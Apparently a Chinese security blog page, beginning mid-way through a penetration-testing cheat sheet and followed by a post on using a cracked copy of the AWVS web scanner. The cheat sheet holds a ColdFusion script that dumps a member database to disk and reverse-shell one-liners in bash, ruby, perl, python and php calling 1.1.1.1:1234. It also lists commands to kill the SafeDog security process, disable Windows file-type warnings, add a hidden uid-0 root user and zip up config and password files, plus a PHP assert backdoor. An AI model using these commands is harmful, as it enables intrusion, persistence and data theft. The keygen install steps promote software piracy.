	bw.close();
	br.close();
	stmt.close();
	conn.close();
%>

ColdFusion

<CFSET USERNAME="user">
<CFSET PASSWORD="pass">
<CFSET DATABASE="ya_db">
<CFTRY>
<CFQUERY NAME="DATA" DATASOURCE=#DATABASE# USERNAME=#USERNAME# PASSWORD=#PASSWORD#>
SELECT * FROM MEMBER
</CFQUERY>
<CFCATCH Type="Any"></CFCATCH>
</CFTRY>
<CFSAVECONTENT variable="Dump_DATA">
<CFDUMP var="#DATA#" EXPAND="YES" FORMAT="TEXT">
</CFSAVECONTENT>
<cffile action="write" output="#Dump_DATA#" FILE="C:\\RECYCLER\\#USERNAME#_DATA.txt">

反弹shell
bash

1	bash -i >& /dev/tcp/1.1.1.1/1234 0>&1

1	rm -f /tmp/p; mknod /tmp/p p && telnet 1.1.1.1 1234 0/tmp/p

ruby

1	ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

perl

perl -e 'use Socket;$i="1.1.1.1";
$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("1.1.1.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

php

1	php -r '$sock=fsockopen("1.1.1.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Windows取消共享文件夹安全警告

1 2	@echo off Reg add HKCU\Software\Microsoft\Windows\CurrentVersion\PolicIEs\Associations /v LowRiskFileTypes /t REG_SZ /d .exe;.reg;.msi;.bat;.cmd;.com;.vbs;.hta;.scr;.pif;.js;.lnk; /f

kill安全狗3.x

1	ntsd -c q -pn SafeDogGuardCenter.exe

其他
python Simple HTTP服务：

1	python -m SimpleHTTPServer

Linux相关技巧
压缩目录

1
2
3

zip  -r  root.zip  /root/*
tar -czvf root.tar.gz /root/
tar -cvf  user/tmp/ooouser.tar  user/  --exclude=image --exclude= --exclude *.jpg --exclude *.gif  --exclude *.zip  --exclude *.bmp  --exclude *.eps --exclude *.psd

添加用户并设置密码

1	useradd -p `openssl passwd -1 -salt 'lsof' admin` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof

收集所有.sh .pl .py .conf .cnf .ini .*history .pass (/usr/share目录里面的除外) 并打包成zip

1	find / \! -path “/usr/share/” -regex “.\.sh$\\|.\.pl$\\|.\.py$\\|.\.conf$\\|.\.cnf$\\|.\.ini$\\|.\/\..history$\\|.\/\..pass.” -print\|zip pack.zip -@

array_push 后门

1	array_map("ass\x65rt",(array)$_REQUEST['array']);

玩转AWVS(一)

12月 2 2015 安全技术 9 分钟读完 (约 1322 字)

AWVS，即 Acunetix Web Vulnerability Scanner，不知道作者是谁或者哪个团队，只知道他是老外搞出来的一款重型扫描器。
哥这一年接触的扫描器比较多，A厂B厂C厂的扫描器一堆，个人观点是web扫描器中AWVS并不是最优秀的。但是不得不说，AWVS一定是
最便携的扫描器之一，一个安装包即可搞定。
说到安装包，自然得提一下AWVS的安装。
那么国外的这款神器是不是收费的呢，答案当然是yes，虽然不要998，但是至少也应该够屌丝吃几顿早饭的了。
哥在写这篇文章的时候AWVS的最新版本是10.x
这里给个传送门，是H大的原帖地址，想了解相关内容的可以去看看此贴：

1	http://www.52pojie.cn/thread-377625-1-1.html

原帖里留下的百度网盘的下载地址：

链接：http://pan.baidu.com/s/1i3Br6ol 密码：u60f

2017/03/02更新：
上面的网盘不能用了，以后有更新我会上传到这里供大家下载：
http://chorder.net/download/awvs_10_5.zip

希望有幸下载到此款神器的小朋友也不要拿它去做伤天害理的事情。
哥一直是使用H大分享的地址里的安装包安装的，虽然也会被360报毒，不过一直很相信H大以及吾爱破解论坛里各位大牛们的人品，所以很坦然的装在了主机上。如果你是从别的地方下载的安装包，有没有被绑马我就不知道了。
下载之后先安装AWVS主程序，就是比较大的那个，会有个注册机藏在压缩包里，解压之后运行，在响起动人的超级玛丽音乐之后点击patch，即可完成注册。
这一切都是Hmily大牛的神作，10.x的注册机比9.x的注册机用户体验要好很多，这里再次向Hmily致敬。

说完了安装，接下来说说使用。
这是最基本的扫描界面，给个截图，自己体会

填上要扫描的站点地址，选择想要扫描的漏洞类型，或者默认的default是扫描全部的漏洞，接着start就可以了。

既然是玩转AWVS，那么常规的玩法自然就不提了，这里说一下除了基本扫描之外其他的功能。
1.带着cookies扫描
有时候我们需要带着Cookies扫描一下后台啊或者用户页面什么的，这个时候可以在
Scan Settings->Custom Cookies选项中添加我们需要携带的cookies，来对需要登录的页面进行扫描。
也可以在Scan Settings->Input Fields中添加我们需要用来登录的用户名和密码，但是这比指定cookies不爽的地方就是
遇到验证码就歇菜了，建议不同情况下区别对待。

2.站点爬虫
有的时候我们不是想扫描某个站点，只是想用爬虫爬出站点的基本结构，这时候就需要用Site Crwaler了